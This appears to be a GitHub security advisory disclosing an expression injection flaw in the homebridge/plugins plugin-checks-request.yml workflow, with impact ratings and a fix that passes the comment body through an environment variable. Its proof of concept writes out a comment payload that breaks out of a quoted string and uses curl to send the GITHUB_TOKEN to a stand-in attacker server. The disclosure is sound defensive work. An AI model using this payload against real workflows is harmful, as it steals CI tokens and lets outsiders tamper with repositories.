Skip to content

Expression Injection in homebridge/plugins plugin-checks-request.yml

Moderate
bwp91 published GHSA-wmh6-8xc4-2hm5 Feb 28, 2026

Package

actions plugins/security (GitHub Actions)

Affected versions

*

Patched versions

None

Description

Security Advisory: Expression Injection in homebridge/plugins plugin-checks-request.yml

Summary

The .github/workflows/plugin-checks-request.yml workflow in homebridge/plugins contains an expression injection vulnerability in the issue_comment handler that allows any GitHub user to execute arbitrary commands on the workflow runner by commenting on an issue with the request-verification label.

Details

The vulnerability exists in the "Check if should run" step (line 24):

FIRST_LINE=$(echo "${{ github.event.comment.body }}" | head -n 1 | tr -d ' \t\r')

The ${{ github.event.comment.body }} expression is interpolated directly into the run: block during GitHub Actions template evaluation, before bash executes. The surrounding double quotes provide no protection because the expression is resolved at the template level, not the shell level. An attacker can inject arbitrary shell commands by crafting a comment that closes the double quote and appends additional commands.

The workflow triggers on issue_comment: [created] which fires for comments from any GitHub user. The injection is evaluated unconditionally — the check for request-verification label and /check command occurs after the attacker-controlled expression has already been interpolated and executed by bash.

The step has access to GITHUB_TOKEN with default permissions. No custom secrets are present in the workflow.

Note: The workflow correctly mitigates github.event.issue.body on line 71 by passing it through an environment variable (ISSUE_BODY), but fails to apply the same pattern to github.event.comment.body on line 24.

Proof of Concept

  1. Find an open issue in https://github.com/homebridge/plugins/issues that has the request-verification label (these are common in this repository as it handles plugin verification requests).
  2. Post a comment on that issue with the body:
"; curl https://ATTACKER-CONTROLLED-SERVER/exfil?t=$(printenv GITHUB_TOKEN | base64 -w0); echo "
  1. The workflow triggers on issue_comment: [created].
  2. During template rendering, ${{ github.event.comment.body }} is substituted into the bash script, producing:
FIRST_LINE=$(echo ""; curl https://ATTACKER-CONTROLLED-SERVER/exfil?t=$(printenv GITHUB_TOKEN | base64 -w0); echo "" | head -n 1 | tr -d ' \t\r')
  1. The curl command executes and exfiltrates the GITHUB_TOKEN.

Note: The injection executes regardless of whether the label check succeeds, because ${{ github.event.comment.body }} is resolved during template rendering before any bash conditional is evaluated.

Impact

  • Confidentiality: An attacker can exfiltrate the GITHUB_TOKEN and execute arbitrary commands on the runner, potentially accessing checked-out repository content and build artifacts. No custom secrets are exposed.
  • Integrity: With the GITHUB_TOKEN, an attacker can create reactions, post comments, and potentially manipulate labels or issue state depending on the token's effective permissions.
  • Availability: An attacker could disrupt the plugin verification workflow by injecting commands that interfere with the build/check process.

This vulnerability is rated MEDIUM because: (1) only GITHUB_TOKEN is exposed without custom secrets, (2) the repository is public so code access provides limited additional value, and (3) exploitation requires a GitHub account (PR: Low).

Recommended Fix

Move github.event.comment.body to an environment variable, following the same pattern already used for github.event.issue.body on line 71:

- name: Check if should run
  id: should-run
  env:
    COMMENT_BODY: ${{ github.event.comment.body }}
    EVENT_NAME: ${{ github.event_name }}
    HAS_VERIFICATION_LABEL: ${{ contains(github.event.issue.labels.*.name, 'request-verification') }}
    PLUGIN_INPUT: ${{ inputs.plugin }}
    COMMENT_ID: ${{ github.event.comment.id }}
  run: |
    if [[ "$EVENT_NAME" == "issues" ]] && [[ "$HAS_VERIFICATION_LABEL" == "true" ]]; then
      echo "run=true" >> $GITHUB_OUTPUT
    elif [[ "$EVENT_NAME" == "workflow_dispatch" ]] && [[ -n "$PLUGIN_INPUT" ]]; then
      echo "run=true" >> $GITHUB_OUTPUT
    elif [[ "$EVENT_NAME" == "issue_comment" ]]; then
      FIRST_LINE=$(echo "$COMMENT_BODY" | head -n 1 | tr -d ' \t\r')
      if [[ "$FIRST_LINE" == "/check" ]] && [[ "$HAS_VERIFICATION_LABEL" == "true" ]]; then
        echo "run=true" >> $GITHUB_OUTPUT
        echo "comment_id=$COMMENT_ID" >> $GITHUB_OUTPUT
      else
        echo "run=false" >> $GITHUB_OUTPUT
      fi
    else
      echo "run=false" >> $GITHUB_OUTPUT
    fi

Credits

This vulnerability was discovered and reported by Sergio Cabrera.

References

Timeline

  • 2026-02-27: Vulnerability discovered
  • 2026-02-27: Advisory submitted

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CVE ID

No known CVE

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits